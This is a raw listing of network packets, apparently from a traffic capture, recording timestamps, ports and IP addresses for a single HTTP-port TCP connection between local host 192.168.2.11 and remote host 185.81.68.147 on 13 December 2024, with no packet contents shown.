Dec 13, 2024 08:18:51.265341997 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.266340017 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.266437054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.266532898 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.267534971 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.267604113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.267723083 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.268830061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.268842936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.268970013 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.269864082 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.269970894 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.270085096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.271065950 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.271186113 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.271300077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.272315979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.272444963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.272548914 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.273489952 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.273623943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.273757935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.274662018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.274760008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.274867058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.275845051 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.275934935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.276048899 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.277036905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.277141094 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.277271032 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.278256893 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.278374910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.278479099 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.279474020 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.279620886 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.279737949 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.280606031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.280715942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.280852079 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.281786919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.281872988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.281974077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.283030987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.283118963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.283220053 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.284368992 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.284382105 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.284509897 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.285386086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.285484076 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.285581112 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.286585093 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.286684990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.286849022 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.287847042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.287935019 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.288068056 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.288978100 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.289103031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.289207935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.290255070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.290359974 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.290453911 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.291384935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.291490078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.291595936 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.292599916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.292638063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.292743921 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.293747902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.293848038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.294019938 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.294958115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.295026064 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.295182943 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.296129942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.296222925 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.296314955 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.297373056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.297420979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.297512054 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.298535109 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.298644066 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.298738003 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.299704075 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.299808979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.299921036 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.300913095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.301016092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.301115036 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.302164078 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.302239895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.302336931 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.303301096 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.303394079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.303493977 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.304500103 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.304650068 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.304755926 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.305680990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.305788994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.305907011 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.306864023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.306915045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.307023048 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.308101892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.308218002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.308314085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.309345961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.309357882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.309508085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.310491085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.310566902 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.310638905 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.311655998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.311765909 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.311819077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.312886000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.312993050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.313118935 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.314063072 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.314138889 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.314254999 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.315234900 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.315347910 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.315444946 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.316425085 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.316534042 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.316790104 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.317606926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.317749977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.317882061 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.318820000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.318994999 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.319103956 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.320002079 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.320106030 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.320200920 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.321156025 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.371256113 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.450798988 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.450850964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.450943947 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.451242924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.451302052 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.451394081 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.452425957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.452521086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.452614069 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.453646898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.453764915 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.453870058 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.454804897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.454961061 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.455054998 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.456032991 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.456186056 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.456276894 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.457230091 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.457427979 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.457525969 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.458415031 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.458482027 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.458600044 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.459583998 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.459677935 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.459774971 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.460789919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.460963964 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.461056948 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.461975098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.462101936 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.462189913 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.463171959 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.463239908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.463330030 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.464356899 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.464513063 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.464610100 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.465567112 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.465665102 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.465758085 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.466749907 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.466850996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.466896057 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.467967987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.468092918 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.468180895 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.469136000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.469336987 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.469424009 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.470323086 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.470419884 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.470510960 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.471543074 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.471625090 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.471718073 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.472717047 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.472815990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.472904921 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.473920107 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.474008083 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.474092007 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.475123882 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.475244045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.475342035 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.476305962 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.476334095 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.476428986 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.477580070 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.477731943 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.477844954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.478694916 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.478801966 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.478905916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.479872942 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.479994059 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.480099916 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.481081963 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.481173038 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.481266975 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.482281923 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.482391119 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.482492924 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.483484983 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.483567953 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.483655930 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.484654903 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.484761000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.484864950 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.485877037 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.485972881 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.486061096 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.487045050 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.487088919 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.487179995 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.488255978 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.488373041 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.488465071 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.489423990 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.489541054 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.489628077 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.490607023 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.490722895 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.490812063 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.491813898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.491926908 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.492041111 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.493026972 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.493149996 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.493252039 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.494286060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.494321108 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.494443893 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.495615005 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.495740891 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.495841026 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.496758938 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.496845007 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.496947050 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.498176098 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.498317957 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.498364925 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.499209881 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.499244928 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.499329090 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.500195980 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.500274897 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.500380993 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.501349926 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.501456976 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.501548052 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.502572060 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.502753973 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.502844095 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.503778934 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.503922939 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.504021883 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.504959106 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.505063057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.505170107 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.506159067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.506254911 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.506344080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.507374048 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.507479906 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.507589102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.509088039 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.509291887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.509380102 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.510077000 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.510113955 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.510201931 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.510909081 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.511015892 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.511121035 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.512115002 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.512240887 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.512322903 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.513278961 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.558739901 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.645119905 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.645165920 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.645276070 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.645692110 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.645749092 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.645843029 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.646888018 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.646975994 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.647075891 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.648076057 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.648433924 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.648500919 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.648561001 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.649650097 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.649719954 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.649750948 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.650840044 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.650906086 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.650943995 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.652031898 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.652097940 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.652121067 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.653254032 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.653320074 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.653346062 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.654544115 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.654598951 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.654639006 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.655616045 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.655677080 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.655694008 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.656796932 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.656894922 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.657299042 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.658015013 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.658128977 CET	80	49726	185.81.68.147	192.168.2.11
Dec 13, 2024 08:18:51.658135891 CET	49726	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:18:51.659245014 CET	80	49726	185.81.68.147	192.168.2.11
